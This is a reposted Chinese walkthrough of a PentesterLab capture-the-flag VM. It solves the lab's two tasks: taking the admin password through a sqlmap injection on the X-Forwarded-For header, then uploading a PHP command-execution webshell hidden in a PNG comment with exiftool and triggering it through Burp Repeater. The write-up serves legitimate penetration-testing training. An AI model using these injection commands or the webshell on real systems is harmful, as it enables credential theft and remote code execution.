安全路透社
当前位置:安全路透社 > 网络转载 > 正文

Pentester Lab课程通关流程详解

前言

今天实验所涉及到的环境可以从这里进行下载,在VM ware中安装下载的iso镜像并启动。本次实验难度适中,挑战的内容分别为获取管理后台权限以及上传webshell。

任务一:获取管理后台权限

启动Kali Linux,打开终端然后键入netdiscover命令对网络进行扫描。如以下截图所示,我们的目标IP为192.168.1.102。接下来我们在浏览器下打开它。

当你在浏览器中键入目标IP并回车,你会看到一个标题为My Awesome Photoblog的web页面。在右上角包含了一些标签:home; test; ruxcon; 2010; all pictures; admin。我们点击test看看。

给定的URL:192.168.1.102/cat.php?id=1将对ID 1进行SQL查询,现在我们尝试看下该URL是否存在SQL注入漏洞。先用满大街都在讲的在URL后面添加单引号,即192.168.1.102/cat.php?id=1’,页面返回正常。

 

接下来祭出神器nikto看看是否存在其他漏洞,在终端键入以下命令:

Nikto –h 192.168.1.102

注意下面截图中高亮部分,从扫描结果来看网页没有设置X-Content-Type-Option数据头。

紧接着使用acunetix对目标进行扫描,还真就发现存在高危的SQL盲注漏洞。也就是说我们可以通过SQL注入进行攻击。

 

使用以下sqlmap命令对目标进行SQL盲注:

sqlmap -u “http://192.168.1.102/cat.php?id=1″ –headers=”X-Forwarded-For: *” –dbs –batch

现在尝试对数据头进行SQL注入;目标应用可能是使用X-Forwarded-For数据头以运行一个反向代理。

我们的假设是正确的,上述数据头存在SQL注入,之后我们获得一个名为photoblog的数据库。

通过以下命令获取photoblog数据库中的全部数据:

sqlmap -u “http://192.168.1.102/cat.php?id=1″ –headers=”X-Forwarded-For: *” –D photoblog –dump-all –batch

第一个任务便是获取后台管理员访问权限,也即管理员账户和密码。通过sqlmap命令我们获得名为admin,密码为P4ssw0rd的管理用户。

尝试使用上面获得的帐号密码登录后台,在浏览器中再次打开目标IP192.168.1.102,单击右上角的admin标签,然后键入用户名admin,密码P4ssw0rd

恭喜!第一个任务完成

任务二:上传webshell

接下来的任务便是上传webshell。在管理员后台你会注意到一个名为新增图片的链接,我们单击然后上传图片。

通过新增选项,我们尝试上传我们的webshell。

尝试直接上传.php后缀的恶意PHP文件;然后使用双后缀.php.jpg;大小写敏感的PHP,pHP都以失败告终,最终返回以下页面:

之后我使用exiftool将恶意代码隐藏在png图片中。在这之前你需要下载一张图片保存在桌面,然后通过在文本文档输入以下恶意代码来构造一个命令注入漏洞,将其另存为raj.php文件。

<?php $cmd=$GET[‘cmd’]; system($cmd); ?>

键入以下命令,使用exiftool将PHP恶意代码隐藏到png图片中:

Cd Desktop

Exiftool “-comment<=raj.php” 1.png

Exiftool 1.png

从下面的截图中你就看出来,我桌面上一共有3个文件,一个是名为raj.php的php文件,另外两个分别是从网上下载的1.png original,以及包含我们恶意代码的1.png。

使用包含恶意代码的1.png进行上传

我们的恶意文件成功上传,名为webshell php的新增行就包含了我们的后门raj.php,点击webshell php看看

这就是我们的恶意图片,单击右键选择查看图片标签:

之后该图片会在新的标签页打开,希望你没有忘记这张图片是隐藏有命令注入恶意代码的

通过在URL后面加上/cmd.php?cmd=ls/etc,尝试执行命令。从截图中你可以看到该页面是进过加密的

此路不通,那我们就使用burp suite中的转发功能(repeater)来执行命令。打开burp suite,对浏览器设置代理,然后在浏览器中打开图片页面。

通过burp suit抓取cookies,将这些拦截到的数据发送给转发选项(repeater)

将header选项中的/show.php?id=4改为/admin/uploads/1484502823.png/cmd.php?cmd=ls,然后单击Go选项发送请求获得响应,最后你会在响应信息中发现使用ls命令的痕迹。

Great!!! 本次试验完成

*参考来源:hackingarticles,FB小编鸢尾编译

未经允许不得转载:安全路透社 » Pentester Lab课程通关流程详解

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册